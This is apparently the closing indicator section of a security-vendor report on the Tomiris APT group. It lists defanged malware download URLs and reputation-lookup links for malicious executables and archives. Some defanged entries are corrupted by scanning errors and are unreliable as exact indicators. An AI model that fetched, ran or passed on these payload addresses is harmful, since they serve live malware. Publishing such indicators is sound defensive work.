hxxp://89.110.98[.]234/Rar.exe
hxxp://89.110.98|.]234/code.exe
hxxp://89.110.98[.]234/rever.rar
hxxp://89.110.98[.]234/winload.exe
hxxp://89.110.98].]234/winload.rar
hxxp://89.110.98[.]1234/winrm.exe

hxxps://docsino[.]ru/wp-content/private/alone.exe

hxxps://docsing[.]Jru/wp-content/private/winupdate.exe

hxxps://sss.qwadx[.Jcom/12345.exe
hxxps://sss.qwadx[.]Jcom/AkelPad.exe
hxxps://sss.qwadx[.Jcom/netexit.rar
hxxps://sss.qwadx[.Jcom/winload.exe
hxxps://sss.qwadx[.Jcom/winsrv.exe

o Malware Technologies

o Targeted attacks
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e Spear phishing

e Malware
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https://opentip.kaspersky.com/http%3a%2f%2f188.127.251.146%3a8080%2fsbchost.rar/?icid=gl_sl_opentip-lnk_sm-team_260a94d9a3d781fb&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f188.127.251.146%3a8080%2fsxbchost.exe/?icid=gl_sl_opentip-lnk_sm-team_5d4e753c08f04514&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f192.153.57.9%2fprivate%2fsvchost.exe/?icid=gl_sl_opentip-lnk_sm-team_af3dd17e47449fc1&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f193.149.129.113%2f732.exe/?icid=gl_sl_opentip-lnk_sm-team_f1d6d0f7b36004db&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f193.149.129.113%2fsystem.exe/?icid=gl_sl_opentip-lnk_sm-team_0cf83a33ed1225f7&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f195.2.79.245%2f732.exe/?icid=gl_sl_opentip-lnk_sm-team_77a8eeb03255c8f6&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f195.2.79.245%2fcode.exe/?icid=gl_sl_opentip-lnk_sm-team_8b6d377bc4585efa&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f195.2.79.245%2ffirefox.exe/?icid=gl_sl_opentip-lnk_sm-team_9188635efa06045f&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f195.2.79.245%2frever.exe/?icid=gl_sl_opentip-lnk_sm-team_6b0911e0a0435e87&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f195.2.79.245%2fservice.exe/?icid=gl_sl_opentip-lnk_sm-team_73c95064693cae1b&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f195.2.79.245%2fwinload.exe/?icid=gl_sl_opentip-lnk_sm-team_ea8a1d25e1991364&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f195.2.79.245%2fwinload.rar/?icid=gl_sl_opentip-lnk_sm-team_5e3f9e8f20214034&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f195.2.79.245%2fwinsrv.rar/?icid=gl_sl_opentip-lnk_sm-team_16f3bff37231ab05&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f195.2.79.245%2fwinupdate.exe/?icid=gl_sl_opentip-lnk_sm-team_44b8a9e4bb3a72ed&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f62.113.115.89%2foffel.exe/?icid=gl_sl_opentip-lnk_sm-team_ab13ad7e09a47552&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f82.115.223.78%2fprivate%2fdwm.exe/?icid=gl_sl_opentip-lnk_sm-team_2769627df2f6e7c4&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f82.115.223.78%2fprivate%2fmsview.exe/?icid=gl_sl_opentip-lnk_sm-team_cbf5e1604cca2ff6&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f82.115.223.78%2fprivate%2fspoolsvc.exe/?icid=gl_sl_opentip-lnk_sm-team_93c1188b27d46882&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f82.115.223.78%2fprivate%2fsvchost.exe/?icid=gl_sl_opentip-lnk_sm-team_a09aa447c2ada62f&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f82.115.223.78%2fprivate%2fsysmgmt.exe/?icid=gl_sl_opentip-lnk_sm-team_ec02fb910b2e46ef&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f85.209.128.171%3a8000%2fakelpad.rar/?icid=gl_sl_opentip-lnk_sm-team_8b9ec9b99de280bc&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f88.214.25.249%3a443%2fnetexit.rar/?icid=gl_sl_opentip-lnk_sm-team_d33a606899536f77&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f89.110.95.151%2fdwm.exe/?icid=gl_sl_opentip-lnk_sm-team_c6afff60adcfb456&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f89.110.98.234%2frar.exe/?icid=gl_sl_opentip-lnk_sm-team_11b6556fcffc881c&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f89.110.98.234%2fcode.exe/?icid=gl_sl_opentip-lnk_sm-team_78ac19e95b4906e0&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f89.110.98.234%2frever.rar/?icid=gl_sl_opentip-lnk_sm-team_876be2fe2dbabed8&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f89.110.98.234%2fwinload.exe/?icid=gl_sl_opentip-lnk_sm-team_5a2ad6ca95297a32&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f89.110.98.234%2fwinload.rar/?icid=gl_sl_opentip-lnk_sm-team_5ff82c5d310e3541&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f89.110.98.234%2fwinrm.exe/?icid=gl_sl_opentip-lnk_sm-team_beaf2eb41ca79418&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fdocsino.ru%2fwp-content%2fprivate%2falone.exe/?icid=gl_sl_opentip-lnk_sm-team_188292acd93d7482&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fdocsino.ru%2fwp-content%2fprivate%2fwinupdate.exe/?icid=gl_sl_opentip-lnk_sm-team_0318e0a2a1643e07&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fsss.qwadx.com%2f12345.exe/?icid=gl_sl_opentip-lnk_sm-team_6a4868e30dbacb24&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fsss.qwadx.com%2fakelpad.exe/?icid=gl_sl_opentip-lnk_sm-team_ba77f6bb7dc5d0f1&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fsss.qwadx.com%2fnetexit.rar/?icid=gl_sl_opentip-lnk_sm-team_bfd7c91c37318edf&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fsss.qwadx.com%2fwinload.exe/?icid=gl_sl_opentip-lnk_sm-team_a5f05c114f84b470&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fsss.qwadx.com%2fwinsrv.exe/?icid=gl_sl_opentip-lnk_sm-team_7ed6f2b49a287cc0&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://securelist.com/tag/malware-technologies/
https://securelist.com/tag/targeted-attacks/
https://securelist.com/tag/malware-descriptions/
https://securelist.com/tag/spear-phishing/
https://securelist.com/tag/malware/
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Tomiris wreaks Havoc: New tools and techniques of the APT group
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